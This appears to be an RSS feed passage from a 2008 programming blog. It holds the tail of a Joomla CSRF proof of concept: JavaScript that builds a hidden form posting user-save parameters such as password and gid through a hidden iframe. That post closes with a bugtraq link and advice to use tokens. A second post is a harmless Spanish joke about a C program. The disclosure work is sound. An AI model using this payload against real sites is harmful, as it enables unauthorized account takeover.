&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; password: pass,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; password2: pass,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; gid: gid,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; block: 0,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; option: 'com_users',&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; task: 'save',&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; sendEmail: 1&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; };&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var form = document.createElement('form');&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; form.action = url;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; form.method = 'post';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; form.target = 'hidden';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; form.style.display = 'none';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; for (var i in param) {&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; try {&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; // ie&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; var input = document.createElement('&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;input&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;name&#x3C;/span&#x3E;=&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;'+i+'&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;');&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; } catch(e) {&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; // other browsers&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; var input = document.createElement('input');&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; input.name = i;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; }&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; input.setAttribute('value', &#x26;nbsp;param[i]);&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; form.appendChild(input);&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; }&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; document.body.appendChild(form);&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; form.submit();&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
}&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;/script&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;iframe&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;name&#x3C;/span&#x3E;=&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;hidden&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;style&#x3C;/span&#x3E;=&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;display: none&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;/iframe&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;img&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;src&#x3C;/span&#x3E;=&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;http://www.more4kids.info/uploads/Image/Carebears-Cover.jpg&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
And the 
&#x3C;a  href=&#x22;http://www.securityfocus.com/archive/1/485978/30/0/threaded&#x22;&#x3E;
                bugtraq note
&#x3C;/a&#x3E;
.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
This vulnerability is known as 
&#x3C;a  href=&#x22;http://en.wikipedia.org/wiki/Csrf&#x22;&#x3E;
                CSRF
&#x3C;/a&#x3E;
 (Cross Site Request Forgery).
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
You can protect your application against CSRF by including a little token in all your form requests, this token is nothing more than an extra variable (random filled), it would be checked against a session variable just before performing the requested action.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 08 Jan 2008 15:25:24 -0800</pubDate>
      </item>
            <item>
        <title>Dull boy</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/9/dull-boy</guid>
        <link>http://xiam.menteslibres.org/blog/view/9/dull-boy</link>
        <description>&#x3C;p&#x3E;Hace un buen rato escribí un guiño a la escena donde descubrimos que Jack Torrance, en 
&#x3C;a  href=&#x22;http://en.wikipedia.org/wiki/The_Shining_%28film%29&#x22;&#x3E;
    The Shinning
&#x3C;/a&#x3E;
, ha escrito cientos de hojas con la misma leyenda: “All work and no play makes Jack a dull boy”. Para que se viera más frikoso decidí mostrar la misma leyenda como si Jack hubiera sido programador:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
dull.c
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;c&#x22;&#x3E;&#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define is_letter(x) ((x &#x26;gt;= 'a' &#x26;amp;&#x26;amp; x &#x26;lt;= 'z') || (x &#x26;gt;= 'A' &#x26;amp;&#x26;amp; x &#x26;lt;= 'Z'))&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; legend&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;AllworkandnoplaymakesJackadullboy&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\0&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E; main&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; c;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;char&#x3C;/span&#x3E; *p;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; p = legend;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;while&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;c = getchar&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;gt;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;*p == &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p = legend;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;is_letter&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;c&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; putchar&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;*p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; p++;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;else&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; putchar&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;c&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;bash&#x22;&#x3E;$ &#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;make&#x3C;/span&#x3E; dull&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
$ ./dull &#x26;lt; otro.c&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
El programa contra sí mismo nos da:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;c&#x22;&#x3E;&#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#Allwor ka_ndnopl(a) ((y &#x26;gt;= 'm' &#x26;amp;&#x26;amp; a &#x26;lt;= 'k') || (e &#x26;gt;= 's' &#x26;amp;&#x26;amp; J &#x26;lt;= 'a'))&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
ckad ullboy&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; = &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;AllworkandnoplaymakesJackadullboy&#x3C;span style=&#x22;color: #000099; font-weight: bold;&#x22;&#x3E;\0&#x3C;/span&#x3E;&#x26;quot;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
All work&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; andn o;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; play *m;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; a = kesJac;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; kadul &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;l = boyAllw&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x26;gt;= &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; or &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;*k == &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; a = ndnopl;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; ay &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;ma_kesJac&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;k&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; adullbo&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;*y&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; A++;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E; llwo &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; rkandno&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Es una aterradora coincidencia que la cadena “AllworkandnoplaymakesJackadullboy” haya quedado en la misma posicion o_O.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 08 Jan 2008 08:18:42 -0800</pubDate>
      </item>
            </channel>
</rss>
